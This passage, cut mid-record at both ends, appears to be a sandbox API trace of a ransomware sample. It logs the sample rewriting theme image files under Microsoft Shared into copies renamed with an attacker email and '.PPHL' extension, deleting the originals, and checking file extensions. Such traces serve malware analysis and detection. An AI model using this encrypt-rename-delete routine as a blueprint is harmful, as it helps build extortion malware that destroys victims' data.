liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0076.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.183] GetLastError () returned 0x0 [0077.183] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x7fc, lpOverlapped=0x0) returned 1 [0077.186] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x800, lpOverlapped=0x0) returned 1 [0077.188] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0077.188] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.188] SetEndOfFile (hFile=0x1f0) returned 1 [0077.188] CloseHandle (hObject=0x1f0) returned 1 [0077.188] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.188] SetEndOfFile (hFile=0x15c) returned 1 [0077.189] CloseHandle (hObject=0x15c) returned 1 [0077.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.189] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0077.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.190] lstrlenW (lpString=".doc") returned 4 [0077.190] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.190] lstrlenW (lpString=".docx") returned 5 [0077.190] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.190] lstrlenW (lpString=".pdf") returned 4 [0077.190] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.190] lstrlenW (lpString=".xls") returned 4 [0077.190] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.190] lstrlenW (lpString=".xlsx") returned 5 [0077.190] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.190] lstrlenW (lpString=".ppt") returned 4 [0077.190] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.190] lstrlenW (lpString=".zip") returned 4 [0077.190] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.190] lstrlenW (lpString=".rar") returned 4 [0077.190] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.190] lstrlenW (lpString=".bz2") returned 4 [0077.190] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.190] lstrlenW (lpString=".7z") returned 3 [0077.190] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.190] lstrlenW (lpString=".dbf") returned 4 [0077.190] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.190] lstrlenW (lpString=".1cd") returned 4 [0077.190] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.190] lstrlenW (lpString=".jpg") returned 4 [0077.190] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.191] lstrlenW (lpString=".doc") returned 4 [0077.191] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.191] lstrlenW (lpString=".docx") returned 5 [0077.191] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.191] lstrlenW (lpString=".pdf") returned 4 [0077.191] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.191] lstrlenW (lpString=".xls") returned 4 [0077.191] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.191] lstrlenW (lpString=".xlsx") returned 5 [0077.191] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.191] lstrlenW (lpString=".ppt") returned 4 [0077.191] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.191] lstrlenW (lpString=".zip") returned 4 [0077.191] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.191] lstrlenW (lpString=".rar") returned 4 [0077.191] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.191] lstrlenW (lpString=".bz2") returned 4 [0077.191] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.191] lstrlenW (lpString=".7z") returned 3 [0077.191] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.191] lstrlenW (lpString=".dbf") returned 4 [0077.191] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.191] lstrlenW (lpString=".1cd") returned 4 [0077.191] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0077.192] lstrlenW (lpString=".jpg") returned 4 [0077.192] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.192] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0077.192] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.192] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0077.193] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=3957) returned 1 [0077.193] CloseHandle (hObject=0x15c) returned 1 [0077.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0077.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0077.193] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.193] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.193] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.195] GetLastError () returned 0x0 [0077.196] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0xf75, lpOverlapped=0x0) returned 1 [0077.198] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xf80, lpOverlapped=0x0) returned 1 [0077.199] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0077.199] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xea, lpOverlapped=0x0) returned 1 [0077.199] SetEndOfFile (hFile=0x1f0) returned 1 [0077.199] CloseHandle (hObject=0x1f0) returned 1 [0077.199] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.199] SetEndOfFile (hFile=0x15c) returned 1 [0077.200] CloseHandle (hObject=0x15c) returned 1 [0077.200] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.200] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0077.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.201] lstrlenW (lpString=".doc") returned 4 [0077.201] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.201] lstrlenW (lpString=".docx") returned 5 [0077.201] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.201] lstrlenW (lpString=".pdf") returned 4 [0077.201] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.201] lstrlenW (lpString=".xls") returned 4 [0077.201] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.201] lstrlenW (lpString=".xlsx") returned 5 [0077.201] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.201] lstrlenW (lpString=".ppt") returned 4 [0077.201] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.201] lstrlenW (lpString=".zip") returned 4 [0077.201] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.201] lstrlenW (lpString=".rar") returned 4 [0077.201] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.201] lstrlenW (lpString=".bz2") returned 4 [0077.201] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.201] lstrlenW (lpString=".7z") returned 3 [0077.201] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.201] lstrlenW (lpString=".dbf") returned 4 [0077.201] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.201] lstrlenW (lpString=".1cd") returned 4 [0077.201] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.201] lstrlenW (lpString=".jpg") returned 4 [0077.201] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.202] lstrlenW (lpString=".doc") returned 4 [0077.202] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0077.202] lstrlenW (lpString=".docx") returned 5 [0077.202] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0077.202] lstrlenW (lpString=".pdf") returned 4 [0077.202] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0077.202] lstrlenW (lpString=".xls") returned 4 [0077.202] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0077.202] lstrlenW (lpString=".xlsx") returned 5 [0077.202] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0077.202] lstrlenW (lpString=".ppt") returned 4 [0077.202] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0077.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.202] lstrlenW (lpString=".zip") returned 4 [0077.202] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0077.202] lstrlenW (lpString=".rar") returned 4 [0077.202] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0077.202] lstrlenW (lpString=".bz2") returned 4 [0077.202] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0077.202] lstrlenW (lpString=".7z") returned 3 [0077.202] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0077.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.202] lstrlenW (lpString=".dbf") returned 4 [0077.202] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0077.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.202] lstrlenW (lpString=".1cd") returned 4 [0077.202] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0077.202] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0077.202] lstrlenW (lpString=".jpg") returned 4 [0077.202] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0077.203] lstrcmpiW (lpString1=".PNG", lpString2=".PPHL") returned -1 [0077.203] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0077.203] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0077.204] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=33277) returned 1 [0077.204] CloseHandle (hObject=0x15c) returned 1 [0077.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0077.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0077.204] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.204] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.204] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0077.205] GetLastError () returned 0x0 [0077.205] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x81fd, lpOverlapped=0x0) returned 1 [0077.207] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x8200, lpOverlapped=0x0) returned 1 [0077.208] ReadFile (in: hFile=0x15c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0077.208] WriteFile (in: hFile=0x1f0, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xec, lpOverlapped=0x0) returned 1 [0077.209] SetEndOfFile (hFile=0x1f0) returned 1 [0077.209] CloseHandle (hObject=0x1f0) returned 1 [0077.209] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0077.209] SetEndOfFile (hFile=0x15c) returned 1 [0077.210] CloseHandle (hObject=0x15c) returned 1 [0077.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0077.210] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0077.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.211] lstrlenW (lpString=".doc") returned 4 [0077.211] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.211] lstrlenW (lpString=".docx") returned 5 [0077.211] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.211] lstrlenW (lpString=".pdf") returned 4 [0077.211] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.211] lstrlenW (lpString=".xls") returned 4 [0077.211] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.211] lstrlenW (lpString=".xlsx") returned 5 [0077.211] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.211] lstrlenW (lpString=".ppt") returned 4 [0077.211] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.211] lstrlenW (lpString=".zip") returned 4 [0077.211] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.211] lstrlenW (lpString=".rar") returned 4 [0077.211] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.211] lstrlenW (lpString=".bz2") returned 4 [0077.211] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.211] lstrlenW (lpString=".7z") returned 3 [0077.211] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.211] lstrlenW (lpString=".dbf") returned 4 [0077.211] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.211] lstrlenW (lpString=".1cd") returned 4 [0077.211] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.211] lstrlenW (lpString=".jpg") returned 4 [0077.211] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.212] lstrlenW (lpString=".doc") returned 4 [0077.212] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0077.212] lstrlenW (lpString=".docx") returned 5 [0077.212] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0077.212] lstrlenW (lpString=".pdf") returned 4 [0077.212] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0077.212] lstrlenW (lpString=".xls") returned 4 [0077.212] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0077.212] lstrlenW (lpString=".xlsx") returned 5 [0077.212] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0077.212] lstrlenW (lpString=".ppt") returned 4 [0077.212] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0077.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.212] lstrlenW (lpString=".zip") returned 4 [0077.212] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0077.212] lstrlenW (lpString=".rar") returned 4 [0077.212] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0077.212] lstrlenW (lpString=".bz2") returned 4 [0077.212] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0077.212] lstrlenW (lpString=".7z") returned 3 [0077.212] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0077.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.212] lstrlenW (lpString=".dbf") returned 4 [0077.212] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0077.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.212] lstrlenW (lpString=".1cd") returned 4 [0077.212] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0077.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0077.212] lstrlenW (lpString=".jpg") returned 4 [0077.212] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0077.212] lstrcmpiW (lpString1=".GIF", lpString2=".PPHL") returned -1 [0077.213] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0077.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0077.213] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1453) returned 1 [0077.213] CloseHandle (hObject=0x15c) returned 1 [0077.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif")) returned 0x20 [0077.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0077.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 